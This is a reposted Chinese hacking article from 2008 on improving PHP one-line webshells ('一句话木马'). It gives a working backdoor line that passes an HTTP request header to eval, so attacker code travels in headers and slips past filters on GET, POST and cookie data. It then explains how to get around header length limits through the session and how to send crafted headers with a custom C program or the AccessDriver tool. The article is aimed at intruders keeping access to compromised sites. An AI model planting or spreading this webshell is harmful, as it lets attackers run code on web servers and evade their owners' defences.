黑客经验谈：关于一句话木马的更新思想

2008-02-23 07:28:44来源：互联网阅读 ()

一种关于一句话木马的更新思想

这篇文章大概是涉及到了web，注入，一句话木马，很多人觉脚黑别人网站有点低级和为之不齿，更多名门正派老黑客都不削于这种技术。

传统的一句话木马如果碰到这台机器刚刚好升级,或者因为发现被入侵,装了一套过滤系统,这台机器上的一句话木马基本上成了残废,因为这个时候入侵者的代码数据无法上传到一句话木马,无法运行,也就没了这个功能了。

不过我不知道大家为什么这么久都没发现有一个地方，其实一直存在着漏洞,如果用在一句话木马上，一句话木马的前途将会非常光明。任何的过滤系统都不能够阻挡你的执行数据的目的，就算他的get,post,cookie,xml,rss全部严格过滤也无济于事。甚至这个方法将很难有有效的防治办法。下面介绍这个办法：

先看一段代码:

<?
//$_SERVER里面可以是以下几个:
//HTTP_ACCEPT
//HTTP_ACCEPT_CHARSET
//HTTP_ACCEPT_ENCODING
//HTTP_ACCEPT_LANGUAGE
//HTTP_CONNECTION
//HTTP_HOST
//HTTP_REFERER
//HTTP_USER_AGENT )
?>
<?eval($_SERVER["HTTP_ACCEPT_CHARSET"]);?>

放出这个，肯定很多人就明白了。就是利用http头的一些信息附带你的数据上去,作为一句话木马执行的参数。

不过明白的这些人肯定会有以下几个问题:

1.为什么说很难被防止.

因为http头信息有丰富的非法字符，比如代码中常用的*、逗号、句号、单引号、双银号、小括号等其他的字符，如果把防注入程序用于http头，那恐怕几乎所有的正常数据都将被防止了。所以不可能对http进行过滤，需要非常复杂的的手法才能，相信没有人会去开发这种软件。

2.http头部够长吗？通常要执行的代码将会很长。

我测试过，iis和apache对于http头的数据确实有长度限制，这个限制大概是10,000-15,000个字符，也就是15KB。如此长的容量，我想传个简单的语句上去已经绰绰有余了，况且当真碰到只有100多个字符限制的服务器也可以先增量写入到session,然后从session中取出执行即可。

3.如何利用?

其实写个简单的代码是最好的了，本文附件中有带一个c源代码(gethttp.c)是简单的自定义http头信息,你可以用它来上传你的数据。

其次还可以借助一个工具:accessdriver。

运行之后按f4按键，点击到extras tool页面，点击该页面下的http debugger子页面，在该页面的http address输入你的一句话木马页面，选择mode的get，点击mode上面一点的header data,会出现一个输入框，这个就是给你自定义http头的地方，其他地方我就不用说了。大家看看就会明白,这个工具很好用。

今天就介绍到这里吧。